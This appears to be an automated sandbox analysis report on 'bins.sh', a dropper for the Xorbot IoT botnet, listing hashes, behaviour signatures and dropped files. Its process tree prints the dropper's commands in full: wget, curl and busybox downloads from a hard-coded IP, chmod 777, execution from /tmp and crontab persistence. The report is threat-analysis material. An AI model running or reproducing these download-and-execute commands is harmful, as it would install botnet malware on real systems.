Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-12-2024 00:29

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    616244bb402bee04b6b45f703b80d324

  • SHA1

    eaddf7ee69008a10c656aba8958a6cecd0ba4f19

  • SHA256

    43fd86667e58eeb0e59922eb2aa6773f01cbd8c39235dc00904a1eb13230eccb

  • SHA512

    b1c3ac89ae943e25e2657353fa3f06f3fdc85f489cc965c7cbcc310357d75d0b1977fcd66b09aee06aaaf9986246d1c6ee29cda146aa773aaca3bfb1885857a4

  • SSDEEP

    96:82/zFBpXexFta6UdZrD1iyqAIg93GCk9Nbe/axFta6MfdG0rDNFoyqAIg9OWGCki:82/zFBpHxQOGCk9N9iGCk9N6Xz7

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1988) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1472
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1473
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:1474
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:1488
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Writes file to tmp directory
          PID:1489
        • /bin/chmod
          chmod 777 Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • File and Directory Permissions Modification
          PID:1490
        • /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          ./Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
          • Executes dropped EXE
          PID:1491
        • /bin/rm
          rm Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
          2⤵
            PID:1493
          • /usr/bin/wget
            wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:1494
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:1496
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Writes file to tmp directory
            PID:1497
          • /bin/chmod
            chmod 777 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • File and Directory Permissions Modification
            PID:1498
          • /tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            ./0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
            • Executes dropped EXE
            PID:1499
          • /bin/rm
            rm 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
            2⤵
              PID:1501
            • /usr/bin/wget
              wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:1502
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:1503
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Writes file to tmp directory
              PID:1504
            • /bin/chmod
              chmod 777 b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • File and Directory Permissions Modification
              PID:1505
            • /tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              ./b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
              • Executes dropped EXE
              PID:1506
            • /bin/rm
              rm b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
              2⤵
                PID:1508
              • /usr/bin/wget
                wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:1509
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:1510
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Writes file to tmp directory
                PID:1511
              • /bin/chmod
                chmod 777 zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • File and Directory Permissions Modification
                PID:1512
              • /tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                ./zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                • Executes dropped EXE
                PID:1513
              • /bin/rm
                rm zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
                2⤵
                  PID:1515
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Writes file to tmp directory
                  PID:1516
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Writes file to tmp directory
                  PID:1517
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Writes file to tmp directory
                  PID:1518
                • /bin/chmod
                  chmod 777 fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1519
                • /tmp/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  ./fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                  • Executes dropped EXE
                  PID:1520
                • /bin/rm
                  rm fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
                  2⤵
                    PID:1522
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Writes file to tmp directory
                    PID:1523
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Writes file to tmp directory
                    PID:1524
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Writes file to tmp directory
                    PID:1525
                  • /bin/chmod
                    chmod 777 kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1526
                  • /tmp/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    ./kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                    • Executes dropped EXE
                    PID:1527
                  • /bin/rm
                    rm kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5
                    2⤵
                      PID:1529
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                      2⤵
                      • Writes file to tmp directory
                      PID:1530
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                      2⤵
                      • Writes file to tmp directory
                      PID:1531
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                      2⤵
                      • Writes file to tmp directory
                      PID:1532
                    • /bin/chmod
                      chmod 777 ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1533
                    • /tmp/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                      ./ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1534
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1536
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1537
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1538
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1539
                          • /bin/rm
                            rm ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB
                            2⤵
                              PID:1541
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/2x5SsCDYP74JXqv9uJXJSdLUaCPSatGbBI
                              2⤵
                                PID:1544

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/kdJCPZl8tYcP7W34X85oHyLUWRiWIayLT5

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/ni66Iv2jfABpMqgqvqIZIwfpbiSDDqkghB

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /var/spool/cron/crontabs/tmp.X3l84g

                              Filesize

                              210B

                              MD5

                              3f4ba6182f8274a67b78dd9bdde0eb96

                              SHA1

                              515b20993f7bb7b5b42bfb3e6de7404474768ac2

                              SHA256

                              fc7dd25d40cc29b4408df9f71e8e77bd3e24adc21f22cce895866b0c7e8cc9bc

                              SHA512

                              8341191d80b71a0c07d96834692e81f57c834594fdc6823926df5af95db8960fcdea0cc619d87cb6eeeb6eb9e81aeea2e9bcf468f34678896e74f1cccde3f188